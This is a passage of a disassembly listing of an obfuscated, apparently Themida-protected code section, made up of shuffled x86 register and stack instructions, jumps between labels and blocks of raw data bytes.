--------------------------------------------------------------------------- db 53h, 0BBh, 15h aObuksiq db 'OUKéˆQ',0 dd 34895C00h, 70B36824h, 0E9733Ch, 5CFFFFD4h, 405h, 40500h dd 4330000h, 24043124h, 0E9240433h, 6FAh dword_54BF60 dd 0D6EE81ADh, 81319243h, 0B3140DEEh, 52C6010Ah, 451FFBBAh ; DATA XREF: Themida_:005445DCo dd 4AD2F733h, 3109C281h, 0BB536D39h, 32142DE2h, 3A36E9h db 0 ; --------------------------------------------------------------------------- loc_54BF89: ; CODE XREF: Themida_:00545F6Dj add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, 0AC75123h add ebx, ebp sub ebx, 0AC75123h pop ebp sub esp, 4 mov [esp], edi mov edi, 4 sub ebx, edi mov edi, [esp] jmp loc_54BC14 ; --------------------------------------------------------------------------- dw 3489h dd 8BBEBE24h, 0F7292CBFh, 0FFFA47E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BFD1: ; CODE XREF: Themida_:00550921j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_550A68 ; --------------------------------------------------------------------------- dd 68241C89h, 36C7h, 52240C89h, 0DAF640B2h, 2C51B050h dd 0EE23E9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C00A: ; CODE XREF: Themida_:0055123Ej mov edx, 2B1174A3h jmp loc_54DC37 ; --------------------------------------------------------------------------- loc_54C014: ; CODE XREF: Themida_:0054D5BFj pop edx mov ecx, ebp pop ebp jmp loc_54C8FA ; --------------------------------------------------------------------------- byte_54C01D db 0FFh, 34h, 24h ; DATA XREF: Themida_:005444D4o dd 0FFE1FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C025: ; CODE XREF: Themida_:0054B216j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_548AEC ; --------------------------------------------------------------------------- loc_54C033: ; CODE XREF: Themida_:0054FF4Ej mov [esp], ebp push esp mov ebp, [esp] jmp loc_5478D2 ; --------------------------------------------------------------------------- db 1 dd 0C3295FFBh, 0FFD775E9h, 81475FFFh, 0EF1C03C7h, 0E9FA89E6h dd 1F94h, 1C8BDF89h, 4C48124h, 81000000h, 34E040EFh, 9A9DE955h dd 15FFFFFh, 4FFE2DD8h, 0BE56055Ch, 736C289Bh, 7886BE56h dd 2E95767h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C087: ; CODE XREF: Themida_:0054811Fj or edx, ebx pop ebx dec edx jmp loc_544C1A ; --------------------------------------------------------------------------- dd 31241C33h, 0FCE9241Ch db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C09B: ; CODE XREF: Themida_:0054A2C4j mov ebp, 4 jmp loc_550B41 ; --------------------------------------------------------------------------- byte_54C0A5 db 8Bh, 0Ch, 24h ; DATA XREF: Themida_:00544400o dd 0FFD4E4E9h, 4EC81FFh, 89000000h, 4BD242Ch, 81000000h dd 0F01E0CC6h, 361E920h, 0E9540000h, 0FFFFEB4Eh ; --------------------------------------------------------------------------- loc_54C0CC: ; CODE XREF: Themida_:00545E13j push ebx mov ebx, 6CDF3915h not ebx jmp loc_54524A ; --------------------------------------------------------------------------- loc_54C0D9: ; CODE XREF: Themida_:0054D9DAj or edi, ecx jmp loc_54B23A ; --------------------------------------------------------------------------- loc_54C0E0: ; CODE XREF: Themida_:00544B5Fj shl ecx, 4 add ecx, 797CA092h xor esi, ecx jmp loc_5473F2 ; --------------------------------------------------------------------------- dd 5A66F588h, 1A045404h, 74E9462Ch, 29FFFFDAh, 0E4055EF0h dd 0FF79847Eh, 3C8B2434h, 4C48324h, 4C481h, 0BA520000h dd 73076DF1h, 0B7E9DAF7h db 26h, 2 dup(0) byte_54C123 db 66h ; DATA XREF: Themida_:00544488o dd 5124048Bh, 0A6E9E189h, 58FFFF98h, 4077B850h, 0A2E92FD2h dd 80FFFF87h, 0F70801EEh, 0CF7805Ah, 1C8BF830h, 5B545324h dd 63685552h, 0E968A544h, 0FFFFB628h ; --------------------------------------------------------------------------- loc_54C158: ; CODE XREF: Themida_:0054D322j mov eax, 4 add esi, eax mov eax, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_54B0E9 ; --------------------------------------------------------------------------- dd 0F9E9EE29h, 0BF00001Eh, 2, 3C8BF801h, 4C48124h, 0E9000000h dd 0FFFF90F1h ; --------------------------------------------------------------------------- loc_54C190: ; CODE XREF: Themida_:00550BCBj add esi, edi pop edi add esi, 4 xchg esi, [esp] jmp loc_548632 ; --------------------------------------------------------------------------- loc_54C19E: ; CODE XREF: Themida_:00549C48j dec esi neg esi shl esi, 7 jmp loc_544B7E ; --------------------------------------------------------------------------- loc_54C1A9: ; CODE XREF: Themida_:0054901Aj pop esi push ebp push 4 pop ebp add edi, ebp push dword ptr [esp] pop ebp jmp loc_54FDA9 ; --------------------------------------------------------------------------- dword_54C1BC dd 0FF2434FFh, 48B2434h, 4C48324h ; DATA XREF: Themida_:005444E4o db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi jmp loc_5476AF ; --------------------------------------------------------------------------- loc_54C1E3: ; CODE XREF: Themida_:0054B15Cj xor ebp, 0CA56BCEh add ebp, 1 neg ebp push edi mov edi, 12E71DA2h shr edi, 4 jmp loc_5464F3 ; --------------------------------------------------------------------------- loc_54C1FC: ; CODE XREF: Themida_:0054E306j push 50577C5Bh jmp loc_54E3AF ; --------------------------------------------------------------------------- loc_54C206: ; CODE XREF: Themida_:005460A4j push edx jmp loc_546706 ; --------------------------------------------------------------------------- loc_54C20C: ; CODE XREF: Themida_:0054B65Fj and ah, bh pop bx sub esp, 4 jmp loc_54AF32 ; --------------------------------------------------------------------------- loc_54C21B: ; CODE XREF: Themida_:005475BCj sub dl, 0FEh jmp loc_54F818 ; --------------------------------------------------------------------------- loc_54C223: ; CODE XREF: Themida_:005490EBj pop ebp jmp loc_54F531 ; --------------------------------------------------------------------------- aR_1 db '°à²Ó',0 aXhf db 'ÂXhä=',0 dd 240C8900h, 1BB4E9h, 4BA00h, 0D5010000h, 4EC835Ah, 0B9240C89h dd 2, 0C8BCD01h, 5DE95124h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C25B: ; CODE XREF: Themida_:00549156j shl edi, 1 shl edi, 2 push ebx mov ebx, 8002C824h xor edi, ebx pop ebx add eax, edi mov edi, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] shr ecx, 0Ah push 5065h mov [esp], ebx jmp loc_54FF40 ; --------------------------------------------------------------------------- dw 0E3C1h dd 4BBE5604h, 813BDD22h, 9D7A74F6h, 3EEC11Bh, 3B10E681h dd 0EED104F4h, 1B89E953h, 0EA310000h, 246C815Dh, 8D766A04h dd 24542968h, 6ABA5204h, 1688D76h, 5A082454h, 317E9h, 24148700h dd 0E789575Ch, 0FFC97AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C2D5: ; CODE XREF: Themida_:0054B7F8j sub ecx, 5AB13C9Dh sub ecx, edx jmp loc_54B3D5 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0B95A5D52h, 57A64ECFh, 34FFE931h, 3044E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C2FA: ; CODE XREF: Themida_:0055080Aj push 57BA5609h pop esi dec esi jmp loc_548124 ; --------------------------------------------------------------------------- dw 8957h dd 4C781E7h, 83000000h, 3C8704C7h, 1C875C24h, 34FF5C24h dd 54565824h, 0FF90D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C325: ; CODE XREF: Themida_:00545DE7j shr edx, 1 cmp eax, edx jz loc_547725 sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push ebx mov ebx, 0 mov edx, ebx jmp loc_54EDF0 ; --------------------------------------------------------------------------- dd 0ADE6E954h, 0F281FFFFh, 0D6FFCEEFh, 55AD001h, 3CA03A98h dd 114DD42Dh, 4C230577h, 0C9E94017h, 81000008h, 42404h dd 575D0000h, 4BFh, 5FFD0100h, 8DBA52h, 0E281140Ah, 49EE2CC6h dd 8904EC83h, 8268240Ch, 0E9000A00h, 0FFFFA00Ah, 0C46179B8h dd 6851552Eh, 47087806h, 0F7BD5559h, 0E9149A5Bh, 2413h dd 5724148Bh, 0DE685F54h, 89000063h, 50512434h, 0FF8500E9h dd 0B5BE56FFh, 0BB40B45Ch, 0E15F15E2h, 348BF301h, 0E7895724h dd 4C781h, 0E90000h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C3EF: ; CODE XREF: Themida_:00550C7Bj or edi, 733858C5h jmp loc_548B69 ; --------------------------------------------------------------------------- loc_54C3FA: ; CODE XREF: Themida_:0054F87Ej add esp, 4 and eax, ebx mov ebx, [esp] add esp, 4 jmp loc_548D36 ; --------------------------------------------------------------------------- dw 0C601h dd 24348758h, 0E924248Bh, 0FFFFD14Eh ; --------------------------------------------------------------------------- loc_54C418: ; CODE XREF: Themida_:0054D604j push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_54AFDD ; --------------------------------------------------------------------------- db 1 dd 0CEE81EEh, 0E920F01Eh, 10A1h, 4BDh, 5DEF0100h, 4C781h dd 0C8680000h, 8900003Ah, 0F7E9243Ch db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C44F: ; CODE XREF: Themida_:0054AF85j add dword ptr [esp], 0B0A63E9h pop esi sub esi, 0B0A63E9h mov eax, [esp] add esp, 4 sub esi, 44B02D28h mov [edx+30h], esi pop esi jmp loc_549E89 ; --------------------------------------------------------------------------- db 89h, 0E1h, 0E9h dd 1CC2h ; --------------------------------------------------------------------------- loc_54C47C: ; CODE XREF: Themida_:005477EEj push eax sub dword ptr [esp], 4A9D372Ah pop ecx add ecx, 4A9D372Ah pop eax push ebp jmp loc_54FC4B ; --------------------------------------------------------------------------- loc_54C492: ; CODE XREF: Themida_:0054F924j mov edx, [esp] add esp, 4 add esp, 4 or eax, eax jz loc_54AF9D push dword ptr [edi+28h] push dword ptr [esp] pop eax push edx sub esp, 4 mov [esp], esp push ecx push esi push 4BB238EEh pop esi or esi, 4F180E50h or esi, 55E77B72h jmp loc_5449B0 ; --------------------------------------------------------------------------- loc_54C4CD: ; CODE XREF: Themida_:005489E3j pop esp jmp loc_546CD9 ; --------------------------------------------------------------------------- loc_54C4D3: ; CODE XREF: Themida_:0054B6D4j dec ebx jmp loc_544F2B ; --------------------------------------------------------------------------- loc_54C4D9: ; CODE XREF: Themida_:0054EC5Dj xor ecx, ebp jmp loc_54B484 ; --------------------------------------------------------------------------- loc_54C4E0: ; CODE XREF: Themida_:005504EBj push 2646h mov [esp], ecx jmp loc_5492B3 ; --------------------------------------------------------------------------- loc_54C4ED: ; CODE XREF: Themida_:0054C802j mov [esp], eax mov eax, esp add eax, 4 push ebx push 4 push dword ptr [esp] pop ebx push esi jmp loc_546082 ; --------------------------------------------------------------------------- loc_54C507: ; CODE XREF: Themida_:0054A72Bj sub edi, 0EB99E63Ch mov ebp, edi jmp loc_549C7C ; --------------------------------------------------------------------------- dd 0FF582FBBh, 5BD90110h, 240C875Eh, 0F24248Bh, 5968C8B6h dd 89000061h, 0E789243Ch, 236B68h, 24348900h, 4BEh, 0AAEF8100h dd 6862F83Ah, 5D8Fh, 2922E9h, 0E6895600h, 4C681h, 0EE830000h dd 0AA64E904h, 685CFFFFh, 571h, 0E9242489h, 0FFFFBD0Eh ; --------------------------------------------------------------------------- loc_54C56C: ; CODE XREF: Themida_:0054AD9Ej mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx mov ebx, 4 add edx, ebx pop ebx jmp loc_545B9D ; --------------------------------------------------------------------------- dw 0EE81h dd 12D01447h, 0E2895258h, 4C281h, 0EA830000h, 0F3E904h dd 2C870000h, 78E95C24h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C5AF: ; CODE XREF: Themida_:0054DAAFj not eax jmp loc_54F8F3 ; --------------------------------------------------------------------------- dw 5052h dd 0F336E868h, 93485839h, 0E993D3F7h, 80Ah, 2D01E883h dd 1E9C954h, 48BC629h, 4C48324h, 0E9243487h, 29E3h, 5A2434FFh dd 0FFF845E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C5E9: ; CODE XREF: Themida_:0054554Aj push ecx jmp loc_5457E8 ; --------------------------------------------------------------------------- loc_54C5EF: ; CODE XREF: Themida_:005509E0j add esp, 4 jmp loc_54542F ; --------------------------------------------------------------------------- db 0BDh dd 3BD554E8h, 5DE2ED81h, 0ED813CD4h, 9E33B0FBh, 0FF8760E9h dd 48966FFh, 74FF6624h, 0EFE90224h, 1FFFFC0h, 4A685BD9h dd 89000013h, 0C8BE2434h, 817B7004h, 5B07EAEEh, 2FE6813Fh dd 5369E22Fh, 2C0CBBh, 0E9DE3128h, 143Fh, 2A77E955h, 1590000h dd 15E95EF3h, 5800004Dh, 0C945E952h, 248BFFFFh, 79EE924h dd 85050000h, 0E96D096Bh, 0FFFFC3B0h dword_54C66C dd 8B2434FFh, 89512404h, 4C181E1h, 83000000h, 0C8704C1h ; DATA XREF: Themida_:005444B8o dd 89515C24h, 4C181E1h, 57000000h, 0FFDEDBE9h, 525B5BFFh dd 434CE9h, 24148700h, 0FFB13DE9h, 0A9BBBFFh, 0B8501D4Ch dd 0BC7EC490h, 8158C329h, 0DF29AAC2h, 81DA295Ch, 0DF29AAEAh dd 2885B5Ch, 0FFB3BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C6C5: ; CODE XREF: Themida_:00550E6Ej push ebp mov ebp, 4 add edx, ebp pop ebp push ebx mov ebx, esp jmp loc_54F086 ; --------------------------------------------------------------------------- word_54C6D6 dw 28Fh ; DATA XREF: Themida_:00544490o dd 0FF7FCAE9h, 49E668FFh, 0ABE94046h, 81FFFFDFh, 8D5837C5h dd 0C5814554h, 2E00389Ch, 8104E5C1h, 0B0F394C5h, 454BE974h dd 24890000h, 24048324h, 802AE904h, 0EB81FFFFh, 604454h dd 0C381EB29h, 604454h, 81C3015Dh, 0BB45F1C3h, 0A1BD552Fh dd 534D2E0Eh, 0C3ECE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C732: ; CODE XREF: Themida_:0054727Fj add ebx, 0E030C728h mov ecx, ebx pop ebx sub ebx, ecx pop ecx push ebp jmp loc_55003A ; --------------------------------------------------------------------------- dd 0E9F78853h, 0FFFFE19Ch, 44E92BB2h, 8300001Bh, 348904ECh dd 2647BE24h, 0F3291FF0h, 54EB815Eh, 29558F10h, 2FACE9C3h dd 0C5810000h, 2, 0FFAD58E9h, 896B6FFh, 0E3C05AF3h, 0E5F38002h dd 5107E3C0h, 0E98082B1h, 0ADC1808Dh, 2846F180h, 0D80059CBh dd 81241C8Bh, 4C4h, 2CD00000h, 24148B9Ch, 4C481h, 0D8280000h dd 8953E52Ch, 4C381E3h, 81000000h, 4EBh, 74FF5300h, 8F5B0424h dd 895C2404h, 52B62414h, 0E9DDB551h, 0FFFFE8B6h, 0E70E22BFh dd 5FF9214Fh, 87BA5250h, 0E97FA638h, 0FFFFF10Fh ; --------------------------------------------------------------------------- loc_54C7EC: ; CODE XREF: Themida_:0054A303j push ax mov ah, 62h sub bl, ah pop ax add bl, 6Bh movzx eax, al lea eax, [edi+eax*4] push 0BC5h jmp loc_54C4ED ; --------------------------------------------------------------------------- loc_54C807: ; CODE XREF: Themida_:0054CF1Dj xor edx, 25BB73A2h xor edx, 0B13141C1h mov ebx, edx mov edx, [esp] add esp, 4 push ebx jmp loc_546824 ; --------------------------------------------------------------------------- dd 360BBA52h, 0C281048Dh, 6C24416Ah, 357BC281h, 4AE92049h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C83B: ; CODE XREF: Themida_:0054BAC3j pop edi and eax, ebp pop ebp or eax, eax jz loc_547EB5 push dword ptr [edi+1Ch] jmp loc_5498E4 ; --------------------------------------------------------------------------- loc_54C84F: ; CODE XREF: Themida_:00547728j pop ebx jmp loc_54F7C6 ; --------------------------------------------------------------------------- db 29h, 0F0h, 5Eh dd 5624148Bh, 88DCE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C862: ; CODE XREF: Themida_:005494A9j mov [esp], edx push ecx push esi push 5774327Dh pop esi and esi, 0B820052h dec esi xor esi, 2956577Ch mov ecx, esi jmp loc_548BCE ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 83000000h, 348704C6h, 89525C24h, 648968E2h, 19E90000h dd 68000016h, 681h, 0FF240489h, 58042474h, 8B24048Fh, 1DE92424h dd 87000043h, 315C243Ch, 96E92404h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C8BF: ; CODE XREF: Themida_:00544C52j add esp, 4 jmp loc_5458D3 ; --------------------------------------------------------------------------- db 47h dd 319DBD55h, 0ED813A8Bh, 62664AC6h, 315DEF29h, 3C97E9FBh db 2 dup(0) word_54C8DE dw 34FFh ; DATA XREF: Themida_:00544584o dd 0EC835924h, 3E19E904h, 0E9590000h, 1485h, 4240483h dd 0B089E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C8FA: ; CODE XREF: Themida_:0054C018j push ebx jmp loc_54AE51 ; --------------------------------------------------------------------------- loc_54C900: ; CODE XREF: Themida_:00544F26j mov [esp], ebx mov ebx, 0FFFFFFFFh jmp loc_54D7A4 ; --------------------------------------------------------------------------- loc_54C90D: ; CODE XREF: Themida_:0054CC3Bj mov eax, [esp] add esp, 4 push edx jmp loc_547F9B ; --------------------------------------------------------------------------- loc_54C91C: ; CODE XREF: Themida_:00550FCBj mov edx, esp add edx, 4 jmp loc_54B2FA ; --------------------------------------------------------------------------- loc_54C929: ; CODE XREF: Themida_:0054F56Fj add ecx, 0BBE9ED2h sub ebx, ecx mov ecx, [esp] jmp loc_550C67 ; --------------------------------------------------------------------------- loc_54C939: ; CODE XREF: Themida_:00547C21j xor ecx, [esp] pop esp push 0EA0h mov [esp], ecx push 1 mov ecx, [esp] add esp, 4 and eax, ecx mov ecx, [esp] push edx mov edx, esp push edi push ecx mov ecx, 4F936CCFh jmp loc_544A29 ; --------------------------------------------------------------------------- loc_54C964: ; CODE XREF: Themida_:0054F092j xchg ebx, [esp] jmp loc_54B1E4 ; --------------------------------------------------------------------------- loc_54C96C: ; CODE XREF: Themida_:00548FE3j mov ecx, [esp] add esp, 4 or edx, eax jmp loc_54FCCD ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E9B5F380h, 46FFh, 95E9454Dh db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C98B: ; CODE XREF: Themida_:00545E71j mov esi, esp push edi mov edi, 4 jmp loc_54ED10 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 36766800h, 1C890000h, 729E924h, 34870000h dd 34FF5C24h, 5BE95824h, 89FFFFE4h, 68562404h, 53CB28B7h dd 18F6815Eh, 810FD52Eh, 7D73FCF6h, 0A770E934h, 0E1C0FFFFh dd 8E1C006h, 28E2C180h, 0EC8359C8h, 0C896602h, 0BDE95224h dd 0F7FFFF88h, 50E781D7h, 0E91D9C7Ah, 0FFFF80A6h, 281973B9h dd 1FB3E917h, 89560000h, 4C681E6h, 83000000h, 2EE904C6h dd 5A00002Ah, 10A8E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CA1E: ; CODE XREF: Themida_:00547409j shr ebp, 4 jmp loc_55022F ; --------------------------------------------------------------------------- dw 0BE56h dd 4, 7813C281h, 0A5E92E85h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA37: ; CODE XREF: Themida_:005461A2j pop esi jmp loc_544D25 ; --------------------------------------------------------------------------- loc_54CA3D: ; CODE XREF: Themida_:00546FE3j add eax, 148E711Bh jmp loc_54B40A ; --------------------------------------------------------------------------- db 5 dd 4, 39DDE9h, 14875800h, 1C335C24h, 8767E924h db 2 dup(0FFh) word_54CA5E dw 8B66h ; DATA XREF: Themida_:0054453Co dd 0D4E92404h, 8B00003Fh, 28E92434h, 68000049h, 0DB4h dd 89242C89h, 3CB850E5h, 0F71D925Fh, 520305D8h, 5487538h dd 0A85A0D3Eh, 34FFC501h, 54505824h, 40558h, 0C0830000h dd 24048704h, 4C5815Ch, 87000000h, 248B242Ch, 4C48124h dd 0F7000000h, 0E28952F1h, 715168h, 241C8900h, 0C3815B54h dd 4, 4EB81h, 0BDE90000h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CAD3: ; CODE XREF: Themida_:00549939j sub ebp, 4A334A5Bh pop edx and eax, ebp jmp loc_551068 ; --------------------------------------------------------------------------- loc_54CAE1: ; CODE XREF: Themida_:0055122Cj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax sub esp, 4 jmp loc_54A0BD ; --------------------------------------------------------------------------- loc_54CAFC: ; CODE XREF: Themida_:0054E5E7j mov ecx, 7BDD4146h push ebp jmp loc_550D01 ; --------------------------------------------------------------------------- db 5Ch dd 0FFA2DAE9h, 2DD001FFh, 48320211h, 5A2434FFh, 4C481h dd 0FD680000h, 89000052h, 6853243Ch, 763Bh, 0B9240C89h dd 15F41A38h, 0CB8E981h, 0F1817ACDh, 416074B3h, 0BA5BC181h dd 0CB894CEAh, 4EC8159h, 0E9000000h, 0FFFF94D3h, 0C800B3B1h dd 28670459h, 4EC83D8h, 0B7241C89h, 6E7C030h, 0F786D7F6h dd 0F786D6F6h, 0F6FD8851h, 7F9DE9D5h, 2C8BFFFFh, 34E95624h dd 52FFFF7Fh, 0A42364BAh, 5AD60148h, 0EE81EE29h, 48A42364h dd 0FFE3F1E9h db 0FFh byte_54CB99 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00544430o dd 5D545524h, 4C581h, 68530000h, 437Dh, 0B9240C89h, 2 dd 8159CB89h, 0A5113FEDh, 57DD015Bh, 0FFF2D7E9h, 0F9C381FFh dd 146384Dh, 0F9EB81D3h, 5A46384Dh, 4C381h, 70E90000h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CBDF: ; CODE XREF: Themida_:0054525Dj pop eax pop ebx jmp loc_54DA2D ; --------------------------------------------------------------------------- loc_54CBE6: ; CODE XREF: Themida_:0054FD56j sub esp, 4 mov [esp], eax push edx mov edx, 43635D03h mov eax, edx pop edx xor eax, 2C365B1Eh or eax, 318D7F9Ch sub eax, 78E136C9h shr eax, 2 add eax, 6581460Ah add ebp, 3FEB6597h jmp loc_550CB7 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 244C8A04h, 24648802h, 48B6602h, 0E2895224h dd 3BDEE9h db 0 ; --------------------------------------------------------------------------- loc_54CC31: ; CODE XREF: Themida_:00544C6Ej mov [esp], ebp xor dword ptr [esp], 300D651Eh jmp loc_54C90D ; --------------------------------------------------------------------------- dd 67673E2Dh, 6880681Fh, 34890000h, 0F9636824h, 34FF5C5Ch dd 97E95E24h, 81000020h, 4C4h, 2812E900h, 50680000h, 8900005Ah dd 17E92404h, 81FFFFD6h, 4C4h, 2940E900h, 0BD550000h, 0B995862h dd 8246C01h, 34FF5E5Dh, 0C4835824h, 20B95104h, 56059623h dd 0F90816BEh, 5EF02923h, 1605C801h, 5923F908h, 0B60F66h dd 8904EC83h, 0E0892404h, 4EC81h, 0C890000h, 4FC6B924h dd 49493925h, 56EBC181h, 0E18166D6h, 32D721C1h, 0F181D9F7h dd 0ED2CDF7Bh, 0D0D8E957h db 2 dup(0FFh) word_54CCDE dw 0EC81h ; DATA XREF: Themida_:005443D8o dd 4, 0E9241489h, 0FFFF97D6h, 4BDh, 5DEB0100h, 4B850h dd 0C3010000h, 241C8758h, 0E9C2295Ch, 0FFFF7E02h ; --------------------------------------------------------------------------- loc_54CD08: ; CODE XREF: Themida_:00548DC3j pop edx jmp loc_5475E5 ; --------------------------------------------------------------------------- dw 0C331h dd 7991E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD16: ; CODE XREF: Themida_:005488D1j mov edx, 5C112D8Bh jmp loc_54E48B ; --------------------------------------------------------------------------- dword_54CD20 dd 582434FFh, 68DE68h, 24048900h, 24048B54h ; DATA XREF: Themida_:0054445Co ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54F7E9 ; --------------------------------------------------------------------------- dw 5D5Ah dd 8105EEC1h, 0E27361EEh, 0CC06E903h, 0E089FFFFh, 4BE56h dd 0F0010000h, 4E8835Eh, 377BE9h, 0B7EB8100h, 81764A01h dd 3D4868EBh, 0C704E94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD72: ; CODE XREF: Themida_:005477F5j sub al, cl pop cx pop edx jmp loc_550791 ; --------------------------------------------------------------------------- loc_54CD7C: ; CODE XREF: Themida_:00549B4Bj xor cl, bh push dword ptr [esp] pop ebx add esp, 4 shr cl, 7 jmp loc_54DC46 ; --------------------------------------------------------------------------- loc_54CD8D: ; CODE XREF: Themida_:00545ACAj not ebx add ebx, 3F1E0C86h add ebx, 331A92BBh jmp loc_546FE0 ; --------------------------------------------------------------------------- dword_54CDA0 dd 9C241CF7h, 0FF78FEE9h, 0C58851FFh, 0C7ADE953h, 248BFFFFh ; DATA XREF: Themida_:005445F8o dd 0A840E924h, 0C281FFFFh, 69153B0h, 0E95AD389h, 0FFFF945Dh dword_54CDC8 dd 0B60F6664h, 1794E902h, 0BB530000h, 4BC333FDh, 0A3E9D831h ; DATA XREF: Themida_:005443E8o db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CDDF: ; CODE XREF: Themida_:00548A7Aj xchg edx, [esp] mov esp, [esp] push 7D38h mov [esp], ecx push eax push 7406A64h pop eax shr eax, 8 add eax, 0FFFFFFFFh push ebx jmp loc_5500E4 ; --------------------------------------------------------------------------- dd 9C2404FFh, 0FF789EE9h, 4C181FFh, 52000000h, 4BAh, 5AD10100h dd 2474FF51h, 0C18CE904h, 1489FFFFh, 0A31E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CE2A: ; CODE XREF: Themida_:005447F1j mov [esp], ebx mov bh, 0C5h push ebx mov bh, 39h shl bh, 1 push ecx jmp loc_5506EC ; --------------------------------------------------------------------------- dw 248Bh dd 4296624h, 60E99C24h, 0C1FFFF78h, 0DBF702E3h, 7B92EB81h dd 0EB815EFBh, 35FF35A8h, 0B101E955h, 0E95FFFFFh, 0FFFFA5FDh ; --------------------------------------------------------------------------- loc_54CE64: ; CODE XREF: Themida_:00544E3Aj push esp jmp loc_549009 ; --------------------------------------------------------------------------- dw 835Ch dd 3C8904ECh, 56E78924h, 4BEh, 5EF70100h, 6804C783h, 4B0Eh dd 0FF243C89h, 0E9042474h, 0FFFF96CFh, 0A07152BEh, 7EEC110h dd 0FFC6814Eh, 8117822Eh, 0A37C5FC6h, 5EF33199h, 3675E9h dd 0B5685100h, 8900007Dh, 0ADBD242Ch, 0C13EBF39h, 0B85003EDh dd 448D6C2Bh, 0FFE57CE9h, 80B2B2FFh, 0EA8025E2h, 18CBE97Eh dd 0E5080000h, 0C7B35358h, 525BDD08h, 9DE904B6h, 83FFFFD4h dd 48704C0h, 0C3815C24h, 83048F82h, 0FFE166E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CEF9: ; CODE XREF: Themida_:0054DFBBj pop esp push ecx sub esp, 4 mov [esp], ebp push ebx mov ebx, 49FE4946h dec ebx xor ebx, 12306242h mov ebp, ebx pop ebx push ebx push edx mov edx, 4DC80D33h shl edx, 1 jmp loc_54C807 ; --------------------------------------------------------------------------- dw 0B753h dd 0A911E94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF2A: ; CODE XREF: Themida_:0054815Dj pop ecx push ecx mov ecx, 2 sub ebp, 4D001A9Ah add ebp, ecx add ebp, 4D001A9Ah pop ecx xchg ebp, [esp] pop esp mul cl movzx cx, ah push small 347Dh mov [esp], cx movzx cx, al push cx pushf jmp loc_5446A7 ; --------------------------------------------------------------------------- dw 48Fh dd 68575324h, 438E4BE8h, 0D7F7475Fh, 0B412F781h, 0FB89BC71h dd 245C015Fh, 555F5B04h, 0C62E0EBDh, 0E83FE958h, 0B551FFFFh dd 84ED80BFh, 0F64ECD80h, 0C46EE9DDh, 0E829FFFFh, 2404335Dh dd 33240431h, 248B2404h, 0BFE6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CFAA: ; CODE XREF: Themida_:0054EB6Dj pop esi add ebx, 1 add ebx, 0FB640C77h jmp loc_54DB16 ; --------------------------------------------------------------------------- dd 0E32CE954h, 0CB31FFFFh, 42C58159h, 0E96AC12Ah, 0FFFFED3Fh ; --------------------------------------------------------------------------- loc_54CFD0: ; CODE XREF: Themida_:005474CCj push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_54F261 ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0EC810000h, 4, 0BB241C89h, 31741689h, 555BDA01h, 741BD0BDh dd 6ED8168h, 146E6E9h, 0FA015DEAh, 3E33BF57h, 0E7812D3Bh dd 45A73FC7h, 8106EFC1h, 100346CFh, 0AC14E970h db 2 dup(0FFh) word_54D022 dw 31ADh ; DATA XREF: Themida_:005443C8o dd 0A6E953D8h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D02B: ; CODE XREF: Themida_:0054B199j pop ecx xor edi, 2F134AE1h add edi, 156A0866h mov esi, edi pop edi jmp loc_54A636 ; --------------------------------------------------------------------------- loc_54D040: ; CODE XREF: 